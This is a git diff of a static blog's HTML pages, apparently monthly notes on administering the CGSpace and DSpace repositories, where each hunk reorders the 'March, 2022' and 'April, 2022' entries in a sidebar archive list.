                                                            9. diff --git a/docs/2018-05/index.html b/docs/2018-05/index.html index 5bee24150..c9e6b901d 100644 --- a/docs/2018-05/index.html +++ b/docs/2018-05/index.html @@ -38,7 +38,7 @@ http://localhost:3000/solr/statistics/update?stream.body=%3Ccommit/%3E Then I reduced the JVM heap size from 6144 back to 5120m Also, I switched it to use OpenJDK instead of Oracle Java, as well as re-worked the Ansible infrastructure scripts to support hosts choosing which distribution they want to use "/> - + @@ -523,9 +523,9 @@ $ psql -h localhost -U postgres dspacetest
                                                                -
                                                              1. March, 2022
                                                              2. +
                                                              3. April, 2022
                                                              4. -
                                                              5. April, 2022
                                                              6. +
                                                              7. March, 2022
                                                              8. February, 2022
                                                              9. diff --git a/docs/2018-06/index.html b/docs/2018-06/index.html index 23cf6f195..fe988455a 100644 --- a/docs/2018-06/index.html +++ b/docs/2018-06/index.html @@ -58,7 +58,7 @@ real 74m42.646s user 8m5.056s sys 2m7.289s "/> - + @@ -517,9 +517,9 @@ $ sed '/^id/d' 10568-*.csv | csvcut -c 1,2 > map-to-cifor-archive.csv
                                                                  -
                                                                1. March, 2022
                                                                2. +
                                                                3. April, 2022
                                                                4. -
                                                                5. April, 2022
                                                                6. +
                                                                7. March, 2022
                                                                8. February, 2022
                                                                9. diff --git a/docs/2018-07/index.html b/docs/2018-07/index.html index 680683201..224cefdcc 100644 --- a/docs/2018-07/index.html +++ b/docs/2018-07/index.html @@ -36,7 +36,7 @@ During the mvn package stage on the 5.8 branch I kept getting issues with java r There is insufficient memory for the Java Runtime Environment to continue. "/> - + @@ -569,9 +569,9 @@ dspace=# select count(text_value) from metadatavalue where resource_type_id=2 an
                                                                    -
                                                                  1. March, 2022
                                                                  2. +
                                                                  3. April, 2022
                                                                  4. -
                                                                  5. April, 2022
                                                                  6. +
                                                                  7. March, 2022
                                                                  8. February, 2022
                                                                  9. diff --git a/docs/2018-08/index.html b/docs/2018-08/index.html index bdbb75efa..940531f64 100644 --- a/docs/2018-08/index.html +++ b/docs/2018-08/index.html @@ -46,7 +46,7 @@ Anyways, perhaps I should increase the JVM heap from 5120m to 6144m like we did The server only has 8GB of RAM so we’ll eventually need to upgrade to a larger one because we’ll start starving the OS, PostgreSQL, and command line batch processes I ran all system updates on DSpace Test and rebooted it "/> - + @@ -442,9 +442,9 @@ $ dspace database migrate ignored
                                                                      -
                                                                    1. March, 2022
                                                                    2. +
                                                                    3. April, 2022
                                                                    4. -
                                                                    5. April, 2022
                                                                    6. +
                                                                    7. March, 2022
                                                                    8. February, 2022
                                                                    9. diff --git a/docs/2018-09/index.html b/docs/2018-09/index.html index 0ad5e0970..c75973f27 100644 --- a/docs/2018-09/index.html +++ b/docs/2018-09/index.html @@ -30,7 +30,7 @@ I’ll update the DSpace role in our Ansible infrastructure playbooks and ru Also, I’ll re-run the postgresql tasks because the custom PostgreSQL variables are dynamic according to the system’s RAM, and we never re-ran them after migrating to larger Linodes last month I’m testing the new DSpace 5.8 branch in my Ubuntu 18.04 environment and I’m getting those autowire errors in Tomcat 8.5.30 again: "/> - + @@ -748,9 +748,9 @@ UPDATE metadatavalue SET text_value='ja' WHERE resource_type_id=2 AND me
                                                                        -
                                                                      1. March, 2022
                                                                      2. +
                                                                      3. April, 2022
                                                                      4. -
                                                                      5. April, 2022
                                                                      6. +
                                                                      7. March, 2022
                                                                      8. February, 2022
                                                                      9. diff --git a/docs/2018-10/index.html b/docs/2018-10/index.html index 432c3b472..03ccd6a44 100644 --- a/docs/2018-10/index.html +++ b/docs/2018-10/index.html @@ -26,7 +26,7 @@ I created a GitHub issue to track this #389, because I’m super busy in Nai Phil Thornton got an ORCID identifier so we need to add it to the list on CGSpace and tag his existing items I created a GitHub issue to track this #389, because I’m super busy in Nairobi right now "/> - + @@ -656,9 +656,9 @@ $ curl -X GET -H "Content-Type: application/json" -H "Accept: applic
                                                                          -
                                                                        1. March, 2022
                                                                        2. +
                                                                        3. April, 2022
                                                                        4. -
                                                                        5. April, 2022
                                                                        6. +
                                                                        7. March, 2022
                                                                        8. February, 2022
                                                                        9. diff --git a/docs/2018-11/index.html b/docs/2018-11/index.html index f7c12b63f..0cab8ff3c 100644 --- a/docs/2018-11/index.html +++ b/docs/2018-11/index.html @@ -36,7 +36,7 @@ Send a note about my dspace-statistics-api to the dspace-tech mailing list Linode has been sending mails a few times a day recently that CGSpace (linode18) has had high CPU usage Today these are the top 10 IPs: "/> - + @@ -553,9 +553,9 @@ $ dspace dsrun org.dspace.eperson.Groomer -a -b 11/27/2016 -d
                                                                            -
                                                                          1. March, 2022
                                                                          2. +
                                                                          3. April, 2022
                                                                          4. -
                                                                          5. April, 2022
                                                                          6. +
                                                                          7. March, 2022
                                                                          8. February, 2022
                                                                          9. diff --git a/docs/2018-12/index.html b/docs/2018-12/index.html index 0927388ad..51e6326fb 100644 --- a/docs/2018-12/index.html +++ b/docs/2018-12/index.html @@ -36,7 +36,7 @@ Then I ran all system updates and restarted the server I noticed that there is another issue with PDF thumbnails on CGSpace, and I see there was another Ghostscript vulnerability last week "/> - + @@ -594,9 +594,9 @@ UPDATE 1
                                                                              -
                                                                            1. March, 2022
                                                                            2. +
                                                                            3. April, 2022
                                                                            4. -
                                                                            5. April, 2022
                                                                            6. +
                                                                            7. March, 2022
                                                                            8. February, 2022
                                                                            9. diff --git a/docs/2019-01/index.html b/docs/2019-01/index.html index ebf072654..8f9681b5e 100644 --- a/docs/2019-01/index.html +++ b/docs/2019-01/index.html @@ -50,7 +50,7 @@ I don’t see anything interesting in the web server logs around that time t 357 207.46.13.1 903 54.70.40.11 "/> - + @@ -1264,9 +1264,9 @@ identify: CorruptImageProfile `xmp' @ warning/profile.c/SetImageProfileInter
                                                                                -
                                                                              1. March, 2022
                                                                              2. +
                                                                              3. April, 2022
                                                                              4. -
                                                                              5. April, 2022
                                                                              6. +
                                                                              7. March, 2022
                                                                              8. February, 2022
                                                                              9. diff --git a/docs/2019-02/index.html b/docs/2019-02/index.html index f4ea28b8c..cc74fb8ff 100644 --- a/docs/2019-02/index.html +++ b/docs/2019-02/index.html @@ -72,7 +72,7 @@ real 0m19.873s user 0m22.203s sys 0m1.979s "/> - + @@ -1344,9 +1344,9 @@ Please see the DSpace documentation for assistance.
                                                                                  -
                                                                                1. March, 2022
                                                                                2. +
                                                                                3. April, 2022
                                                                                4. -
                                                                                5. April, 2022
                                                                                6. +
                                                                                7. March, 2022
                                                                                8. February, 2022
                                                                                9. diff --git a/docs/2019-03/index.html b/docs/2019-03/index.html index a4d50b78b..567c0ce4b 100644 --- a/docs/2019-03/index.html +++ b/docs/2019-03/index.html @@ -46,7 +46,7 @@ Most worryingly, there are encoding errors in the abstracts for eleven items, fo I think I will need to ask Udana to re-copy and paste the abstracts with more care using Google Docs "/> - + @@ -1208,9 +1208,9 @@ sys 0m2.551s
                                                                                    -
                                                                                  1. March, 2022
                                                                                  2. +
                                                                                  3. April, 2022
                                                                                  4. -
                                                                                  5. April, 2022
                                                                                  6. +
                                                                                  7. March, 2022
                                                                                  8. February, 2022
                                                                                  9. diff --git a/docs/2019-04/index.html b/docs/2019-04/index.html index eca130534..d3eb711ef 100644 --- a/docs/2019-04/index.html +++ b/docs/2019-04/index.html @@ -64,7 +64,7 @@ $ ./fix-metadata-values.py -i /tmp/2019-02-21-fix-4-regions.csv -db dspace -u ds $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-2-countries.csv -db dspace -u dspace -p 'fuuu' -m 228 -f cg.coverage.country -d $ ./delete-metadata-values.py -i /tmp/2019-02-21-delete-1-region.csv -db dspace -u dspace -p 'fuuu' -m 231 -f cg.coverage.region -d "/> - + @@ -1299,9 +1299,9 @@ UPDATE 14
                                                                                      -
                                                                                    1. March, 2022
                                                                                    2. +
                                                                                    3. April, 2022
                                                                                    4. -
                                                                                    5. April, 2022
                                                                                    6. +
                                                                                    7. March, 2022
                                                                                    8. February, 2022
                                                                                    9. diff --git a/docs/2019-05/index.html b/docs/2019-05/index.html index 2a682a3f4..16e601de6 100644 --- a/docs/2019-05/index.html +++ b/docs/2019-05/index.html @@ -48,7 +48,7 @@ DELETE 1 But after this I tried to delete the item from the XMLUI and it is still present… "/> - + @@ -631,9 +631,9 @@ COPY 64871
                                                                                        -
                                                                                      1. March, 2022
                                                                                      2. +
                                                                                      3. April, 2022
                                                                                      4. -
                                                                                      5. April, 2022
                                                                                      6. +
                                                                                      7. March, 2022
                                                                                      8. February, 2022
                                                                                      9. diff --git a/docs/2019-06/index.html b/docs/2019-06/index.html index 9f626b29c..ca0a35872 100644 --- a/docs/2019-06/index.html +++ b/docs/2019-06/index.html @@ -34,7 +34,7 @@ Run system updates on CGSpace (linode18) and reboot it Skype with Marie-Angélique and Abenet about CG Core v2 "/> - + @@ -317,9 +317,9 @@ UPDATE 2
                                                                                          -
                                                                                        1. March, 2022
                                                                                        2. +
                                                                                        3. April, 2022
                                                                                        4. -
                                                                                        5. April, 2022
                                                                                        6. +
                                                                                        7. March, 2022
                                                                                        8. February, 2022
                                                                                        9. diff --git a/docs/2019-07/index.html b/docs/2019-07/index.html index 14d0405b5..d8a20e98e 100644 --- a/docs/2019-07/index.html +++ b/docs/2019-07/index.html @@ -38,7 +38,7 @@ CGSpace Abenet had another similar issue a few days ago when trying to find the stats for 2018 in the RTB community "/> - + @@ -554,9 +554,9 @@ issn.validate('1020-3362')
                                                                                            -
                                                                                          1. March, 2022
                                                                                          2. +
                                                                                          3. April, 2022
                                                                                          4. -
                                                                                          5. April, 2022
                                                                                          6. +
                                                                                          7. March, 2022
                                                                                          8. February, 2022
                                                                                          9. diff --git a/docs/2019-08/index.html b/docs/2019-08/index.html index 0dd3ed43c..82faaaddb 100644 --- a/docs/2019-08/index.html +++ b/docs/2019-08/index.html @@ -46,7 +46,7 @@ After rebooting, all statistics cores were loaded… wow, that’s luck Run system updates on DSpace Test (linode19) and reboot it "/> - + @@ -573,9 +573,9 @@ sys 2m27.496s
                                                                                              -
                                                                                            1. March, 2022
                                                                                            2. +
                                                                                            3. April, 2022
                                                                                            4. -
                                                                                            5. April, 2022
                                                                                            6. +
                                                                                            7. March, 2022
                                                                                            8. February, 2022
                                                                                            9. diff --git a/docs/2019-09/index.html b/docs/2019-09/index.html index 0ad201931..c23215a7e 100644 --- a/docs/2019-09/index.html +++ b/docs/2019-09/index.html @@ -72,7 +72,7 @@ Here are the top ten IPs in the nginx XMLUI and REST/OAI logs this morning: 7249 2a01:7e00::f03c:91ff:fe18:7396 9124 45.5.186.2 "/> - + @@ -581,9 +581,9 @@ $ csv-metadata-quality -i /tmp/clarisa-institutions.csv -o /tmp/clarisa-institut
                                                                                                -
                                                                                              1. March, 2022
                                                                                              2. +
                                                                                              3. April, 2022
                                                                                              4. -
                                                                                              5. April, 2022
                                                                                              6. +
                                                                                              7. March, 2022
                                                                                              8. February, 2022
                                                                                              9. diff --git a/docs/2019-10/index.html b/docs/2019-10/index.html index 853624186..143a6f578 100644 --- a/docs/2019-10/index.html +++ b/docs/2019-10/index.html @@ -18,7 +18,7 @@ - + @@ -385,9 +385,9 @@ $ dspace import -a -c 10568/104057 -e fuu@cgiar.org -m 2019-10-15-Bioversity.map
                                                                                                  -
                                                                                                1. March, 2022
                                                                                                2. +
                                                                                                3. April, 2022
                                                                                                4. -
                                                                                                5. April, 2022
                                                                                                6. +
                                                                                                7. March, 2022
                                                                                                8. February, 2022
                                                                                                9. diff --git a/docs/2019-11/index.html b/docs/2019-11/index.html index 788998e48..76482e183 100644 --- a/docs/2019-11/index.html +++ b/docs/2019-11/index.html @@ -58,7 +58,7 @@ Let’s see how many of the REST API requests were for bitstreams (because t # zcat --force /var/log/nginx/rest.log.*.gz | grep -E "[0-9]{1,2}/Oct/2019" | grep -c -E "/rest/bitstreams" 106781 "/> - + @@ -692,9 +692,9 @@ $ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-i
                                                                                                    -
                                                                                                  1. March, 2022
                                                                                                  2. +
                                                                                                  3. April, 2022
                                                                                                  4. -
                                                                                                  5. April, 2022
                                                                                                  6. +
                                                                                                  7. March, 2022
                                                                                                  8. February, 2022
                                                                                                  9. diff --git a/docs/2019-12/index.html b/docs/2019-12/index.html index e40205624..3d5468901 100644 --- a/docs/2019-12/index.html +++ b/docs/2019-12/index.html @@ -46,7 +46,7 @@ Make sure all packages are up to date and the package manager is up to date, the # dpkg -C # reboot "/> - + @@ -404,9 +404,9 @@ UPDATE 1
                                                                                                      -
                                                                                                    1. March, 2022
                                                                                                    2. +
                                                                                                    3. April, 2022
                                                                                                    4. -
                                                                                                    5. April, 2022
                                                                                                    6. +
                                                                                                    7. March, 2022
                                                                                                    8. February, 2022
                                                                                                    9. diff --git a/docs/2020-01/index.html b/docs/2020-01/index.html index 77b63ac3e..d54d8e605 100644 --- a/docs/2020-01/index.html +++ b/docs/2020-01/index.html @@ -56,7 +56,7 @@ I tweeted the CGSpace repository link "/> - + @@ -604,9 +604,9 @@ COPY 2900
                                                                                                        -
                                                                                                      1. March, 2022
                                                                                                      2. +
                                                                                                      3. April, 2022
                                                                                                      4. -
                                                                                                      5. April, 2022
                                                                                                      6. +
                                                                                                      7. March, 2022
                                                                                                      8. February, 2022
                                                                                                      9. diff --git a/docs/2020-02/index.html b/docs/2020-02/index.html index aa166bb93..fb78989ea 100644 --- a/docs/2020-02/index.html +++ b/docs/2020-02/index.html @@ -38,7 +38,7 @@ The code finally builds and runs with a fresh install "/> - + @@ -1275,9 +1275,9 @@ Moving: 21993 into core statistics-2019
                                                                                                          -
                                                                                                        1. March, 2022
                                                                                                        2. +
                                                                                                        3. April, 2022
                                                                                                        4. -
                                                                                                        5. April, 2022
                                                                                                        6. +
                                                                                                        7. March, 2022
                                                                                                        8. February, 2022
                                                                                                        9. diff --git a/docs/2020-03/index.html b/docs/2020-03/index.html index f160e0398..54b20a443 100644 --- a/docs/2020-03/index.html +++ b/docs/2020-03/index.html @@ -42,7 +42,7 @@ You need to download this into the DSpace 6.x source and compile it "/> - + @@ -484,9 +484,9 @@ $ tidy -xml -utf8 -iq -m -w 0 dspace/config/controlled-vocabularies/cg-creator-i
                                                                                                            -
                                                                                                          1. March, 2022
                                                                                                          2. +
                                                                                                          3. April, 2022
                                                                                                          4. -
                                                                                                          5. April, 2022
                                                                                                          6. +
                                                                                                          7. March, 2022
                                                                                                          8. February, 2022
                                                                                                          9. diff --git a/docs/2020-04/index.html b/docs/2020-04/index.html index d9dad01e1..1d0b0382e 100644 --- a/docs/2020-04/index.html +++ b/docs/2020-04/index.html @@ -48,7 +48,7 @@ The third item now has a donut with score 1 since I tweeted it last week On the same note, the one item Abenet pointed out last week now has a donut with score of 104 after I tweeted it last week "/> - + @@ -658,9 +658,9 @@ $ psql -c 'select * from pg_stat_activity' | wc -l
                                                                                                              -
                                                                                                            1. March, 2022
                                                                                                            2. +
                                                                                                            3. April, 2022
                                                                                                            4. -
                                                                                                            5. April, 2022
                                                                                                            6. +
                                                                                                            7. March, 2022
                                                                                                            8. February, 2022
                                                                                                            9. diff --git a/docs/2020-05/index.html b/docs/2020-05/index.html index cf45701cd..8be3c40e8 100644 --- a/docs/2020-05/index.html +++ b/docs/2020-05/index.html @@ -34,7 +34,7 @@ I see that CGSpace (linode18) is still using PostgreSQL JDBC driver version 42.2 "/> - + @@ -477,9 +477,9 @@ Caused by: java.lang.NullPointerException
                                                                                                                -
                                                                                                              1. March, 2022
                                                                                                              2. +
                                                                                                              3. April, 2022
                                                                                                              4. -
                                                                                                              5. April, 2022
                                                                                                              6. +
                                                                                                              7. March, 2022
                                                                                                              8. February, 2022
                                                                                                              9. diff --git a/docs/2020-06/index.html b/docs/2020-06/index.html index 85b3462cf..cce24ce34 100644 --- a/docs/2020-06/index.html +++ b/docs/2020-06/index.html @@ -36,7 +36,7 @@ I sent Atmire the dspace.log from today and told them to log into the server to In other news, I checked the statistics API on DSpace 6 and it’s working I tried to build the OAI registry on the freshly migrated DSpace 6 on DSpace Test and I get an error: "/> - + @@ -811,9 +811,9 @@ $ csvcut -c 'id,cg.subject.ilri[],cg.subject.ilri[en_US],dc.subject[en_US]&#
                                                                                                                  -
                                                                                                                1. March, 2022
                                                                                                                2. +
                                                                                                                3. April, 2022
                                                                                                                4. -
                                                                                                                5. April, 2022
                                                                                                                6. +
                                                                                                                7. March, 2022
                                                                                                                8. February, 2022
                                                                                                                9. diff --git a/docs/2020-07/index.html b/docs/2020-07/index.html index c54733e93..178c21910 100644 --- a/docs/2020-07/index.html +++ b/docs/2020-07/index.html @@ -38,7 +38,7 @@ I restarted Tomcat and PostgreSQL and the issue was gone Since I was restarting Tomcat anyways I decided to redeploy the latest changes from the 5_x-prod branch and I added a note about COVID-19 items to the CGSpace frontpage at Peter’s request "/> - + @@ -1142,9 +1142,9 @@ Fixed 4 occurences of: Muloi, D.M.
                                                                                                                    -
                                                                                                                  1. March, 2022
                                                                                                                  2. +
                                                                                                                  3. April, 2022
                                                                                                                  4. -
                                                                                                                  5. April, 2022
                                                                                                                  6. +
                                                                                                                  7. March, 2022
                                                                                                                  8. February, 2022
                                                                                                                  9. diff --git a/docs/2020-08/index.html b/docs/2020-08/index.html index c19cef0fc..5bcd2f625 100644 --- a/docs/2020-08/index.html +++ b/docs/2020-08/index.html @@ -36,7 +36,7 @@ It is class based so I can easily add support for other vocabularies, and the te "/> - + @@ -798,9 +798,9 @@ $ grep -c added /tmp/2020-08-27-countrycodetagger.log
                                                                                                                      -
                                                                                                                    1. March, 2022
                                                                                                                    2. +
                                                                                                                    3. April, 2022
                                                                                                                    4. -
                                                                                                                    5. April, 2022
                                                                                                                    6. +
                                                                                                                    7. March, 2022
                                                                                                                    8. February, 2022
                                                                                                                    9. diff --git a/docs/2020-09/index.html b/docs/2020-09/index.html index aeda8a593..f658278f0 100644 --- a/docs/2020-09/index.html +++ b/docs/2020-09/index.html @@ -48,7 +48,7 @@ I filed a bug on OpenRXV: https://github.com/ilri/OpenRXV/issues/39 I filed an issue on OpenRXV to make some minor edits to the admin UI: https://github.com/ilri/OpenRXV/issues/40 "/> - + @@ -717,9 +717,9 @@ solr_query_params = {
                                                                                                                        -
                                                                                                                      1. March, 2022
                                                                                                                      2. +
                                                                                                                      3. April, 2022
                                                                                                                      4. -
                                                                                                                      5. April, 2022
                                                                                                                      6. +
                                                                                                                      7. March, 2022
                                                                                                                      8. February, 2022
                                                                                                                      9. diff --git a/docs/2020-10/index.html b/docs/2020-10/index.html index 25241fe82..15f8ed23f 100644 --- a/docs/2020-10/index.html +++ b/docs/2020-10/index.html @@ -44,7 +44,7 @@ During the FlywayDB migration I got an error: "/> - + @@ -1241,9 +1241,9 @@ $ ./delete-metadata-values.py -i 2020-10-31-delete-74-sponsors.csv -db dspace -u
                                                                                                                          -
                                                                                                                        1. March, 2022
                                                                                                                        2. +
                                                                                                                        3. April, 2022
                                                                                                                        4. -
                                                                                                                        5. April, 2022
                                                                                                                        6. +
                                                                                                                        7. March, 2022
                                                                                                                        8. February, 2022
                                                                                                                        9. diff --git a/docs/2020-11/index.html b/docs/2020-11/index.html index c81a19e52..63733f291 100644 --- a/docs/2020-11/index.html +++ b/docs/2020-11/index.html @@ -32,7 +32,7 @@ So far we’ve spent at least fifty hours to process the statistics and stat "/> - + @@ -731,9 +731,9 @@ $ ./fix-metadata-values.py -i 2020-11-30-fix-hung-orcid.csv -db dspace63 -u dspa
                                                                                                                            -
                                                                                                                          1. March, 2022
                                                                                                                          2. +
                                                                                                                          3. April, 2022
                                                                                                                          4. -
                                                                                                                          5. April, 2022
                                                                                                                          6. +
                                                                                                                          7. March, 2022
                                                                                                                          8. February, 2022
                                                                                                                          9. diff --git a/docs/2020-12/index.html b/docs/2020-12/index.html index d323c7d2e..668e7f33e 100644 --- a/docs/2020-12/index.html +++ b/docs/2020-12/index.html @@ -36,7 +36,7 @@ I started processing those (about 411,000 records): "/> - + @@ -869,9 +869,9 @@ $ query-json '.items | length' /tmp/policy2.json
                                                                                                                              -
                                                                                                                            1. March, 2022
                                                                                                                            2. +
                                                                                                                            3. April, 2022
                                                                                                                            4. -
                                                                                                                            5. April, 2022
                                                                                                                            6. +
                                                                                                                            7. March, 2022
                                                                                                                            8. February, 2022
                                                                                                                            9. diff --git a/docs/2021-01/index.html b/docs/2021-01/index.html index cc12f1733..f6c98c807 100644 --- a/docs/2021-01/index.html +++ b/docs/2021-01/index.html @@ -50,7 +50,7 @@ For example, this item has 51 views on CGSpace, but 0 on AReS "/> - + @@ -688,9 +688,9 @@ java.lang.IllegalArgumentException: Invalid character found in the request targe
                                                                                                                                -
                                                                                                                              1. March, 2022
                                                                                                                              2. +
                                                                                                                              3. April, 2022
                                                                                                                              4. -
                                                                                                                              5. April, 2022
                                                                                                                              6. +
                                                                                                                              7. March, 2022
                                                                                                                              8. February, 2022
                                                                                                                              9. diff --git a/docs/2021-02/index.html b/docs/2021-02/index.html index d1b87d19d..62f28a8ee 100644 --- a/docs/2021-02/index.html +++ b/docs/2021-02/index.html @@ -60,7 +60,7 @@ $ curl -s 'http://localhost:9200/openrxv-items-temp/_count?q=*&pretty } } "/> - + @@ -898,9 +898,9 @@ dspace=# UPDATE metadatavalue SET text_lang='en_US' WHERE dspace_object_
                                                                                                                                  -
                                                                                                                                1. March, 2022
                                                                                                                                2. +
                                                                                                                                3. April, 2022
                                                                                                                                4. -
                                                                                                                                5. April, 2022
                                                                                                                                6. +
                                                                                                                                7. March, 2022
                                                                                                                                8. February, 2022
                                                                                                                                9. diff --git a/docs/2021-03/index.html b/docs/2021-03/index.html index 58b75ea4c..2fd8e17bd 100644 --- a/docs/2021-03/index.html +++ b/docs/2021-03/index.html @@ -34,7 +34,7 @@ Also, we found some issues building and running OpenRXV currently due to ecosyst "/> - + @@ -875,9 +875,9 @@ Also, we found some issues building and running OpenRXV currently due to ecosyst
                                                                                                                                    -
                                                                                                                                  1. March, 2022
                                                                                                                                  2. +
                                                                                                                                  3. April, 2022
                                                                                                                                  4. -
                                                                                                                                  5. April, 2022
                                                                                                                                  6. +
                                                                                                                                  7. March, 2022
                                                                                                                                  8. February, 2022
                                                                                                                                  9. diff --git a/docs/2021-04/index.html b/docs/2021-04/index.html index 55823a76b..d55023cb1 100644 --- a/docs/2021-04/index.html +++ b/docs/2021-04/index.html @@ -44,7 +44,7 @@ Perhaps one of the containers crashed, I should have looked closer but I was in "/> - + @@ -1042,9 +1042,9 @@ $ chrt -b 0 dspace dsrun com.atmire.statistics.util.update.atomic.AtomicStatisti
                                                                                                                                      -
                                                                                                                                    1. March, 2022
                                                                                                                                    2. +
                                                                                                                                    3. April, 2022
                                                                                                                                    4. -
                                                                                                                                    5. April, 2022
                                                                                                                                    6. +
                                                                                                                                    7. March, 2022
                                                                                                                                    8. February, 2022
                                                                                                                                    9. diff --git a/docs/2021-05/index.html b/docs/2021-05/index.html index 67d72ec63..ec54b09d1 100644 --- a/docs/2021-05/index.html +++ b/docs/2021-05/index.html @@ -36,7 +36,7 @@ I looked at the top user agents and IPs in the Solr statistics for last month an I will add the RI/1.0 pattern to our DSpace agents overload and purge them from Solr (we had previously seen this agent with 9,000 hits or so in 2020-09), but I think I will leave the Microsoft Word one… as that’s an actual user… "/> - + @@ -685,9 +685,9 @@ May 26, 02:57 UTC
                                                                                                                                        -
                                                                                                                                      1. March, 2022
                                                                                                                                      2. +
                                                                                                                                      3. April, 2022
                                                                                                                                      4. -
                                                                                                                                      5. April, 2022
                                                                                                                                      6. +
                                                                                                                                      7. March, 2022
                                                                                                                                      8. February, 2022
                                                                                                                                      9. diff --git a/docs/2021-06/index.html b/docs/2021-06/index.html index 8eef3249f..b89a5dbf0 100644 --- a/docs/2021-06/index.html +++ b/docs/2021-06/index.html @@ -36,7 +36,7 @@ I simply started it and AReS was running again: "/> - + @@ -693,9 +693,9 @@ I simply started it and AReS was running again:
                                                                                                                                          -
                                                                                                                                        1. March, 2022
                                                                                                                                        2. +
                                                                                                                                        3. April, 2022
                                                                                                                                        4. -
                                                                                                                                        5. April, 2022
                                                                                                                                        6. +
                                                                                                                                        7. March, 2022
                                                                                                                                        8. February, 2022
                                                                                                                                        9. diff --git a/docs/2021-07/index.html b/docs/2021-07/index.html index 85638bff9..4e0fcc2a6 100644 --- a/docs/2021-07/index.html +++ b/docs/2021-07/index.html @@ -30,7 +30,7 @@ Export another list of ALL subjects on CGSpace, including AGROVOC and non-AGROVO localhost/dspace63= > \COPY (SELECT DISTINCT LOWER(text_value) AS subject, count(*) FROM metadatavalue WHERE dspace_object_id in (SELECT dspace_object_id FROM item) AND metadata_field_id IN (119, 120, 127, 122, 128, 125, 135, 203, 208, 210, 215, 123, 236, 242, 187) GROUP BY subject ORDER BY count DESC) to /tmp/2021-07-01-all-subjects.csv WITH CSV HEADER; COPY 20994 "/> - + @@ -715,9 +715,9 @@ COPY 20994
                                                                                                                                            -
                                                                                                                                          1. March, 2022
                                                                                                                                          2. +
                                                                                                                                          3. April, 2022
                                                                                                                                          4. -
                                                                                                                                          5. April, 2022
                                                                                                                                          6. +
                                                                                                                                          7. March, 2022
                                                                                                                                          8. February, 2022
                                                                                                                                          9. diff --git a/docs/2021-08/index.html b/docs/2021-08/index.html index 79c104a32..40c732c88 100644 --- a/docs/2021-08/index.html +++ b/docs/2021-08/index.html @@ -32,7 +32,7 @@ Update Docker images on AReS server (linode20) and reboot the server: I decided to upgrade linode20 from Ubuntu 18.04 to 20.04 "/> - + @@ -606,9 +606,9 @@ I decided to upgrade linode20 from Ubuntu 18.04 to 20.04
                                                                                                                                              -
                                                                                                                                            1. March, 2022
                                                                                                                                            2. +
                                                                                                                                            3. April, 2022
                                                                                                                                            4. -
                                                                                                                                            5. April, 2022
                                                                                                                                            6. +
                                                                                                                                            7. March, 2022
                                                                                                                                            8. February, 2022
                                                                                                                                            9. diff --git a/docs/2021-09/index.html b/docs/2021-09/index.html index 0e9ba330e..9334c865b 100644 --- a/docs/2021-09/index.html +++ b/docs/2021-09/index.html @@ -48,7 +48,7 @@ The syntax Moayad showed me last month doesn’t seem to honor the search qu "/> - + @@ -588,9 +588,9 @@ The syntax Moayad showed me last month doesn’t seem to honor the search qu
                                                                                                                                                -
                                                                                                                                              1. March, 2022
                                                                                                                                              2. +
                                                                                                                                              3. April, 2022
                                                                                                                                              4. -
                                                                                                                                              5. April, 2022
                                                                                                                                              6. +
                                                                                                                                              7. March, 2022
                                                                                                                                              8. February, 2022
                                                                                                                                              9. diff --git a/docs/2021-10/index.html b/docs/2021-10/index.html index 6c609579a..f853c4105 100644 --- a/docs/2021-10/index.html +++ b/docs/2021-10/index.html @@ -46,7 +46,7 @@ $ wc -l /tmp/2021-10-01-affiliations.txt So we have 1879/7100 (26.46%) matching already "/> - + @@ -791,9 +791,9 @@ Try doing it in two imports. In first import, remove all authors. In second impo
                                                                                                                                                  -
                                                                                                                                                1. March, 2022
                                                                                                                                                2. +
                                                                                                                                                3. April, 2022
                                                                                                                                                4. -
                                                                                                                                                5. April, 2022
                                                                                                                                                6. +
                                                                                                                                                7. March, 2022
                                                                                                                                                8. February, 2022
                                                                                                                                                9. diff --git a/docs/2021-11/index.html b/docs/2021-11/index.html index c2885b017..fa7c92b6c 100644 --- a/docs/2021-11/index.html +++ b/docs/2021-11/index.html @@ -32,7 +32,7 @@ First I exported all the 2019 stats from CGSpace: $ ./run.sh -s http://localhost:8081/solr/statistics -f 'time:2019-*' -a export -o statistics-2019.json -k uid $ zstd statistics-2019.json "/> - + @@ -494,9 +494,9 @@ $ zstd statistics-2019.json
                                                                                                                                                    -
                                                                                                                                                  1. March, 2022
                                                                                                                                                  2. +
                                                                                                                                                  3. April, 2022
                                                                                                                                                  4. -
                                                                                                                                                  5. April, 2022
                                                                                                                                                  6. +
                                                                                                                                                  7. March, 2022
                                                                                                                                                  8. February, 2022
                                                                                                                                                  9. diff --git a/docs/2021-12/index.html b/docs/2021-12/index.html index c5038d7c5..d3c3b0451 100644 --- a/docs/2021-12/index.html +++ b/docs/2021-12/index.html @@ -40,7 +40,7 @@ Purging 455 hits from WhatsApp in statistics Total number of bot hits purged: 3679 "/> - + @@ -577,9 +577,9 @@ Total number of bot hits purged: 3679
                                                                                                                                                      -
                                                                                                                                                    1. March, 2022
                                                                                                                                                    2. +
                                                                                                                                                    3. April, 2022
                                                                                                                                                    4. -
                                                                                                                                                    5. April, 2022
                                                                                                                                                    6. +
                                                                                                                                                    7. March, 2022
                                                                                                                                                    8. February, 2022
                                                                                                                                                    9. diff --git a/docs/2022-01/index.html b/docs/2022-01/index.html index d1c9793a9..7f0b7c215 100644 --- a/docs/2022-01/index.html +++ b/docs/2022-01/index.html @@ -24,7 +24,7 @@ Start a full harvest on AReS Start a full harvest on AReS "/> - + @@ -380,9 +380,9 @@ Start a full harvest on AReS
                                                                                                                                                        -
                                                                                                                                                      1. March, 2022
                                                                                                                                                      2. +
                                                                                                                                                      3. April, 2022
                                                                                                                                                      4. -
                                                                                                                                                      5. April, 2022
                                                                                                                                                      6. +
                                                                                                                                                      7. March, 2022
                                                                                                                                                      8. February, 2022
                                                                                                                                                      9. diff --git a/docs/2022-02/index.html b/docs/2022-02/index.html index 2985a7871..5ac983ab1 100644 --- a/docs/2022-02/index.html +++ b/docs/2022-02/index.html @@ -38,7 +38,7 @@ We agreed to try to do more alignment of affiliations/funders with ROR "/> - + @@ -724,9 +724,9 @@ isNotNull(value.match('699'))
                                                                                                                                                          -
                                                                                                                                                        1. March, 2022
                                                                                                                                                        2. +
                                                                                                                                                        3. April, 2022
                                                                                                                                                        4. -
                                                                                                                                                        5. April, 2022
                                                                                                                                                        6. +
                                                                                                                                                        7. March, 2022
                                                                                                                                                        8. February, 2022
